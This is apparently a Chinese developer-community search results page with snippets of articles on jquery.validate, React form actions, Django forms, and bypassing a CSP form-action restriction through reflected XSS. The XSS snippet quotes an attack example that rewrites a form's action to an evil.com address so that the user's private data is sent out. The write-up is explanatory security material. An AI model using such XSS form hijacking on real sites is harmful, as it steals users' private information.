首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

修改 jquery.validate.js 支持非form标签

尝试使用markdown来写一篇blog,啦啦啦 源代码传送门:github 在特殊情况下我们使用jquery.validate.js对用户输入内容做验证时候,表单并不是一定包含在form之中...,有可能是一个div弹层,有可能是嵌套在form里面的一个div,这个时候官方validate就不能很好支持了。...对此,在官方源代码基础上做小小改动,就能兼容原有form方式,也能使用于非form方式,何乐而不为呢。...分析官方代码之后,能得知它都是通过element.form找到当前inputform,在从form标签获取validate对象。那只要我们修改为我们指定容器标签即可。...修改代码如下: 1.增加一个获取容器方法 getContainer: function (element) { var container = $(element).closest('.validateContainer

3.2K20
您找到你想要的搜索结果了吗?
是的
没有找到

React 支持 form action 是在作妖?不,它是一种重磅回归

但是由于各种原因,原生表单开发方式相关知识被部分前端开发所遗忘,他们对 form action,formdata 有一种陌生感。...本文一共包含如下内容: html 中默认表单数据与 action 表现 重温 fromdata 数据结构与使用方式 React Form Action 基础知识与基础案例 具体案例 它对服务端渲染划时代意义...1、HTML form action 先来看一段简单代码 First name: i默认情况下,当我们点击提交之后,form 会自动清空内部所有数据,如下图所示 i如果你在设置了 action 同时,又设置了 onSubmit 回调,那么 onSubmit...如果一旦跟 next.js 有机结合... 不得不佩服 React 团队在设计项目架构解决方案上超前思维。

10110

优秀文章 | 利用反射型XSS二次注入绕过CSP form-action限制

.那文本中所说form-action又是干啥呢?...用他可以限制form标签"action"属性指向页面, 这样可以防止攻击者通过XSS修改表单"action"属性,偷取用户一些隐私信息. 0x02 实例分析 面讲太抽象了, 如果不想看的话可以直接跳过.../> //小秘密 如果这个站点没有CSP, 攻击者可以直接通过XSS修改 <form method="POST" action='http://evil.com/wo_de_mi_mi.php...这下管理员郁闷了, 最后索性用CSP加上了form-action来白名单限定form标签action指向, 那么这样是否还会出现问题呢?...一起来回顾一下, 现在有一个不能执行JS反射型XSS和一个只能往白名单域名(当然没有攻击者域名...)指向form标签.

90210

Django Form使用

Form 基础介绍 首先让我们先来了解下 Django 中 Form 表单基本用法。...,在 view 中实例化定义好 Form 类,在模板中使用 {{ form }} 即可自动生成对应 form 表单内容。...是有特殊规律,我们可以通过这些 id 进行一些 js 操作 问题总结 在这次项目需求中,我主要遇到问题是,有几个表单页面,后台使用同一张表去做存储,但是每个页面有许多变化元素,如果为了存储这些可变值...但问题来了,新建还行,但当我们使用编辑时候,会发现,没办法做修改,即当代码走到 form.is_valid() 时,它始终做了 dict 初始化,它不再会接受你新输入值。...解决思路如下: 每次都初始化一个空 form ,前端渲染页面时,用 js 去控制页面的展示。这也比较简单,这里不做多说明。

2.2K20
领券